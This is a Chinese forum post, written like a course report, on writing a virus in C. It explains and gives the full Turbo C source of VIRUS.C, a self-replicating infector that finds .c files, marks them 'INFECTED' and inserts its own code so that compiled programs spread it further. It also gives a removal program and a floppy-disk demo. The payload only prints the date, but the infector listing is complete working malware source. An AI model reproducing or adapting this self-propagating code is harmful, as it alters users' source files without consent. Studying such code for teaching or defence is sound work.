用C寫病毒 http://www.cctry.com/thread-5024-1-1.html

 


廣場BBS排行榜Ranklist我的家園Space每日簽到簽到得驛站幣哦……QQ交流羣加入Vip成就VC高手夢想……實時天氣看看天氣預報吧……
每日簽到
 
病毒程序VIRUS.C
這是一個用C語言寫的病毒程序,當激發病毒程序時顯示時間,然後返回。病毒程序VIRUS.C可將病毒傳染給一個C語言程序。當被病毒感染的程序經編譯、連接和執行後,又可以將病毒部分傳染給其他的C語言源程序。每執行一次帶有病毒的C語言程序,就向C語言源程序傳播一次病毒。此程序的設計思路如下:
當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁盤上找擴展名爲C的匹配文件,如果找到,查找是否有被傳染過的標誌“INFECTED”。如果有此標誌,繼續找其它的C文件,直至全部檢查一遍。若沒有這個標誌,則
(1)在未被感染的C程序頭部加入“INFECTED”已被傳染標誌。
(2)讀取病毒文件的頭文件,將其插入到即將被感染的文件頭部。如果發現有重複則不插入。
(3)在主程序中插入“VIRUSES();”調用VIRUSES函數。尋找printf、for、while、break語句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到將感染文件裏面的VIRUSES_SUB子程序裏面,必須把文件名改爲當前自身的文件名,否則被傳染後的文件經過編譯、連接和運行後不能再繼續傳染。
(6)最後插入VIRUSES子程序。這個子程序裏面調用了VIRUSES_SUB,執行到這裏返回執行結果信息。
    其中用到4個出錯的返回值,分別是:
1:用戶文件太大,不傳染;
2:帶病毒文件打不開,不傳染;
3:帶病毒文件讀取不成功,不傳染;
4:查找第一個匹配文件不成功。
如果返回值是0代表文件傳染成功。

具體實現過程如下:
其中用到的函數和結構體用法參考3.3節。
首先導入病毒子程序要用到的三個庫文件,分別是dir.h, stido.h, dos.h.在主函數裏面只調用VIRUSES函數。緊跟定義VIRUSES函數裏面要調用的VIURS_SUB函數。裏面定義了若干個變量。ffblk用來保存查找到的匹配文件的信息,用到裏面的ff_name變量來保存匹配文件名。
然後定義保存未感染的文件和病毒文件的文件型指針變量,分別用是*virus_r和*virus_v.讀取文件的緩衝區,放到二維數組a[500][80]裏面臨時存放。因爲此程序對大於500行的C文件不進行傳染,所以完全可以放到裏面。首先用getdate函數獲取系統當前日期並輸出。接着用findfirst函數查找擴展名爲C的文件,將其信息保存到ffblk裏面。用fgets函數讀文件的第一行,長度是80-1個字符。然後用strstr函數檢測病毒的標誌,看文件是否有INFECT這個標誌。
如果有,表示文件已經被傳染,關閉文件,不進行傳染。當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁盤上查找*.C的匹配文件,一旦找到,查找“已被傳染過”的標誌INFECTED。若有此標誌,繼續找其它*.C文件,直至全部檢查一遍。
如果沒有這個標誌,將文件全部讀入a[500][80],如果發現文件超過500行,不傳染,返回。將文件指針指向文件頭,打開帶病毒的文件。如果打不開,返回。
然後讀取帶病毒文件的前4行,也就是病毒子程序要用到的頭文件,寫入將被傳染的文件。若不能讀取帶病毒文件,返回。用n_line變量控制行數,把將被傳染文件的源程序寫回原文件。其中要進行處理不寫入病毒文件已有的包含語句,也就是說使#Include語句不重複。
這點是這樣實現的:定義一個字符數組char include_h[]={“dos.h”, “stdio.h”, “dir.h”}; strstr函數查看將被傳染文件的頭文件是否和*include_h[]相同,如果相同,不進行插入。找出CALL VIRUSES;的插入點:如果有一行有printf、break、for、while語句其中之一,就對其後插入調用VIRUSES函數的調用語句。把病毒子程序寫入文件。最後處理更改被感染的文件名。如果不進行改名,就不能進行多次傳染,也就是說不能體現病毒的自我複製能力。查找一行是static char viruses_f[]={“virus.c”},把其中的文件名改爲被感染的文件名。接着查找下一個匹配文件。

3.1.2病毒清除程序REVIURS.C
病毒的清除過程是和傳染過程相逆的。傳染的時候插入調用viruses函數的調用語句,在病毒清除文件裏面就要刪除掉這個語句。然後還要刪除掉病毒子程序VIURSES_SUB和VIURSES。有一個問題不能進行還原。因爲當時插入病毒子程序需要的頭文件時沒有記錄傳染前文件的頭文件信息,所以不能進行還原。但是這一點不影響原文件。所以這點在病毒清除程序中沒有進行處理。
由於演示的時候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一個目錄下進行演示。考慮到VIRUS.C會把REVIURS.C傳染和REVIRUS.C會把VIRUS.C清除兩種情況。所以編寫這兩個程序的時候必須加入一條條件語句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。
當含有清除部分的程序被執行時。它在磁盤上找擴展名爲C的匹配文件,如果找到,查找是否有被傳染過的標誌“INFECTED”。如果無此標誌,繼續找其它的C文件,直至全部檢查一遍。若有這個標誌,則
(1)查找磁盤文件,如果是有病毒的傳染標誌“INFECTED”則打開文件。如果沒有則關閉文件並且尋找下一個TEST*.C。
(2)讀取文件,首先判斷是否爲Viruses();如果不是則判斷是否爲int Viruses_sub(),如果都不是,則把讀取部分放在二維數組a[500][80]中,如果只是爲int Viruses_sub(),則讀取文件結束。
(3)關閉文件,然後刪除該文件。
(4)創建一個跟刪除文件相同名字的文件。然後打開。
(5)把二維數組a[500][80]中的數據寫入到新建的文件中。關閉文件,讀取下一個文件。

3.2 程序流程圖
3.2.1 病毒程序VIRUS.C流程圖

      

N
                                              N
                Y                         Y

   有

               無

 

 

 

 

                      Y
                                           N

3.2.2 解毒程序REVIRUS.C流程圖

 

N

         Y


          有

                   Y
                     
          N
Y                     


         N

 

3.3其中用到的函數和結構體的說明:

(1)結構體struct ffblk (在dir.h中)類型變量
變量ffblk用於打開文件,獲取返回值。
Struct ffblk
{char ff_reserved[21];
char ff_attrib;
unsigned ff_ftime;
unsigned ff_fdate;
long ff_fize;
char ff_name[13];
};
程序中只用到ff_name來保存匹配文件名。

(2)結構體struct date(在dos.h中)變量
  struct date
{int da_year;      /* Year-1980 */
char da_day;     /* Day of the month */
char da_mon;    /* Month (1=Jan) */
};
程序中用來獲取系統當前日期。具體用法爲:
void getdate (struct date *datep);
(3)查找匹配文件

  findfirst()函數和findnext()函數
  調用方式:整型數=findfirst(文件名,&結構變量名,屬性常數組合(如0×24));
   功能:檢索由path和attr指定的文件,把結果返回到afer。
        Findfirst返回關於第一個指定文件的信息。
        Findnext繼續檢索。
  返回值:0(檢索成功),-1(沒有找到指定的文件)
  屬性常數:
  FA_NORMAL(0*00)   含意:Normal file, no attributes
  FA_RDONLY (0*01)   含意:只讀
  FA_HIDDEN(0*02)    含意:隱含文件
  FA_SYSTEM(0*24)    含意:系統文件
  需要用到的頭文件: dir.h
程序中的匹配文件屬於普通文件,所以屬性常數爲0。

(4)讀文件
  函數原形:char *fgets (char *a, int n, FILE *fp);
  功能:
  從fp指向的文件讀取一個長度爲(n-1)的字符串,最後加一個’ \0’,存入始地址爲a的空間。
  若在讀完n-1個字符之前遇到換行符或EOF,讀入即結束。
  返回值:返回地址a。
          若遇文件結束或出錯,返回NULL。

(5)在字符串中查找指定字符串的第一次出現
   函數原形;
   char *strstr(char *str1,char *str2);
   功能:找出str2字符串在str1字符串中第一次出現的位置(不包括str2的串結束符)。
   返回值:返回該位置的指針。
           若找不到,返回NULL指針。
程序中用這個函數來判斷字符串是否一致。

(6)改變文件位置指針
   函數原形:int fseek (FILE *fp, long offset, int base);
  功能:將fp所指文件的位置指針移到以base所指出的位置爲基準、以offset爲位移量的位置。
   返回值:返回當前位置。否則,返回-1。SEEK_SET爲文件開始。
由於讀取文件的時候文件指針要發生變化。而重新執行一條命令的時候需要重新定位文件指針的位置,所以要用到fseek函數。程序中用這個函數定位到文件頭,對文件進行重新讀取。

 


3.4 程序清單
3.4.1病毒程序VIRUS.C程序清單如下:
/*INFECTED*/
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
  viruses();
}
int viruses_sub()
{
   struct ffblk ffblk;
   int done,i,j,k,n_line;
   FILE *virus_r,*virus_v;
/*virus_r指向將被感染的文件,virus_v指向已帶病毒的文件*/
   char a[500][80],b[80],*p1,*p2; /*將被傳染的文件讀入a[500][80]臨時存放*/
   static char viruses_f[]={"virus.c"};/*文件被傳染後,修改該值爲自身文件名*/
   int include_write;
   int virus_call=0;
   int virus_start=0;
   char *main_flag[]={"printf","break","for","while"};
   char *include_h[]={"dos.h","stdio.h","dir.h"};
   char *v_flag[]={"INFECTED"};
   struct date today;
/*VIRUSES DISPLAY*/
   getdate(&today); /*病毒顯示日期信息*/
   printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year);
/*AFFECT VIRUSES*/
   done=findfirst("*.c",&ffblk,0); /*查找第一個匹配文件*/
   while(!done)
   {
       if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)
       {
          virus_r=fopen(ffblk.ff_name,"r+w");
          if(virus_r!=NULL)
          {
             p1=fgets(&a[0][0],80,virus_r);
             if(strstr(p1,v_flag[0])==NULL)
             {
                n_line=0; /*把文件全部讀入a[500][80]*/
                while(p1!=NULL)
               {
                   n_line++;
                   p1=fgets(&a[n_line][0],80,virus_r);
                   if(n_line>=500)
                   {
                       fclose(virus_r);
                       return(1);
                   }
               }
               fseek(virus_r,0,SEEK_SET);
               virus_v=fopen(&viruses_f[0],"r"); /*打開帶病毒的文件*/
               if(virus_v==NULL)
               {
                   fclose(virus_r);
                   return(2);
               }
              for(i=1;i<5;i++) /*讀帶病毒文件前4行並寫入將被傳染的文件*/
             {
             p2=fgets(b,80,virus_v);
             if(p2==NULL)
            {
                fclose(virus_r);
                fclose(virus_v);
                return(3);
            }
            fputs(b,virus_r);
         }
         for(j=0;j<n_line;j++) /*把將被傳染文件的原程序寫回原文件*/
         {
            include_write=1; /*不寫入病毒文件已有的包含語句*/
           if(strstr(&a[j][0],"#include")!=NULL)
           for(i=0;i<3;i++)
           if(strstr(&a[j][0],include_h[i])!=NULL)
               include_write=-1;
           if(virus_call==0)   /*插入調用語句,並加上回車換行*/
              for(i=0;i<4;i++)
              if(strstr(&a[j][0],main_flag[i])!=NULL)
              {
                  for(k=0;k<80;k++)
                     b[k]=0;
                  strcpy(&b[0],"viruses();");
                  b[10]=13;
                  b[11]=10;
                  fputs(b,virus_r);virus_call=1;
                  i=4;
              }
             if(include_write==1)fputs(&a[j][0],virus_r);
         }
         p1=fgets(b,80,virus_v);  /*把病毒子程序寫入文件*/
         while(p1!=NULL)
         {
            if(virus_start==0)  /*找病毒子程序的第一條語句*/
              if(strstr(p1,"int viruses_sub()")!=NULL)
                  virus_start=1;
              if(virus_start==1)
              {
                  if(strstr(p1,"char")!=NULL)
                      if(strstr(p1,"viruses_f[]=")!=NULL)
                      {
                          strcpy(&b[29],ffblk.ff_name);
                          i=strlen(&b[0]);
                          b[i]=34;
                          strcpy(&b[i+1],");");
                         b[i+3]=13;
                         b[i+4]=10;
                      }
                fputs(b,virus_r);
             }
             p1=fgets(b,80,virus_v);
         }
      fclose(virus_v);
      fclose(virus_r);
      return(0);
   }
   fclose(virus_r);
  }
}
   done=findnext(&ffblk);
}
    return(4);
}

viruses()
    {
      int num;
      num=viruses_sub();
      switch (num)
      {
             case  0 : printf("successful\n");
                       break;
             case  1: printf("the file is outof line\n");
                       break;
             case  2 : printf("the viruses file cannot open\n");
                       break;
             case  3 : printf("cannot read viruses file\n");
                       break;
             case  4: printf("cannot find file\n");
      }
getch();
}

3.4.2病毒清除程序REVIURS.C清單如下:
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
  struct ffblk ffblk;
  int done,i,j,line,k;
  static int n_line;
  FILE *virus_r,*virus_v;
  char a[500][80],b[80],*p;
  char *v_flag[]={"INFECTED"};
  done=findfirst("*.c",&ffblk,0);
  while(!done)
  {
    if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)
    {
    for(k=0;k<500;k++)
    for(j=0;j<80;j++)
       a[k][j]=0;
      virus_r=fopen(ffblk.ff_name,"r+w");
      if(virus_r!=NULL)
     {
      p=fgets(&b[0],80,virus_r);

     if(strstr(p,v_flag[0])!=NULL)
      {
         line=0;
        while(p!=NULL)
        {
      p=fgets(&b[0],80,virus_r);
      if(strstr(&b[0],"int viruses_sub()")!=NULL)
           break;
       else if(strstr(&b[0],"viruses();")==NULL)
            {
              k=strlen(b);
            for(j=0;j<k;j++)
            a[line][j]=b[j];
            a[line][j+1]=0;
            line++;
           }
       }
    n_line=line;
    fclose(virus_r);
    remove(ffblk.ff_name); /*刪除文件*/
    virus_r=fopen(ffblk.ff_name,"w+");  /*打開將被感染的文件*/
        for(i=0;i<n_line;i++)
        {
          fputs(&a[i][0],virus_r); /*把二維數組中的數據寫入原文件*/
        }
          fclose(virus_r);
    }
            }
           }
      done=findnext(&ffblk); /*查找下一個匹配文件*/
      }

}

 

 


4. 計算機病毒的演示
4.1病毒程序VIRUS.C的演示過程
在一張已經格式化的軟盤上,除了病毒源程序VIRUS.C和REVIRUS.C外,還有兩個尚未被感染的C語言程序TEST1.C和TEST2.C。原始代碼分別如下:
TEST1.C:
#include "stdio.h"
main()
{
int i,sum;
for(i=1;i<100;i++)
sum=sum+i;
printf("sum=%d\n",sum);
}
TEST2.C
#include "stdio.h"
main()
{
printf("hello,world!\n");
}
在命令提示符下鍵入dir命令查看文件信息。

然後編譯連接並執行VIRUS.C文件,運行結果顯示:
Today is 5/20/2004
Successful
說明傳染成功。再用dir命令查看文件信息

可以看到TEST2.C文件已經被傳染,大小從64變成3949。用type命令查看TEST1的內容

可以看到病毒的子程序已經插入了,而且在主函數裏面插入了調用VIRUSES函數語句。而且文件名自動改爲“TEST2.C”。(如圖中紅線所示)
然後再把TEST2.C文件編譯連接並運行。成功後,再用dir命令查看文件信息

可以看到TEST1.C也被感染了,大小從107變成了3969。再用type命令查看,結果如下:

可以看到,文件名稱已經自動改爲TEST1.C,而且病毒子程序已經拷貝過來,在這個過程中REVIRUS.C始終沒有被感染,達到了我們的目的。
文件被感染前後內容如下圖所示:


                  

 

 

 


4.2病毒清除程序REVIRUS.C演示過程
然後我們來演示病毒的清除。編譯運行REVIRUS.C後用dir命令查看文件信息。

圖中可以看到TEST1.C和TEST2.C都變小了。雖然沒有還原到以前的大小。這是因爲運行病毒子程序需要的頭文件沒有刪除,原因前面已經提及過了。然後用type命令分別查看一下TEST1.C和TEST2.C的內容。


圖中可以看到,除了程序需要用到的頭文件,剩下的已經基本還原。而且沒有清除VIRUS.C裏面的程序,基本達到了清除病毒的目的。演示成功。
從演示過程中可以看出,一旦程序被病毒感染,這個程序經過編譯連接後運行時就能向沒感染上病毒的程序擴散病毒,使病毒在系統中不斷蔓延下去。而病毒清除程序運行一次就可以刪除掉所有的病毒子程序和插入的調用語句。

40回答者: 孤獨的死路 - 四級
 
收藏2 分享0
今天你簽到了嗎? 簽到賺驛站幣哦!2-5 枚驛站幣等你來拿!
 回覆 引用 舉報 返回頂部
 
 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章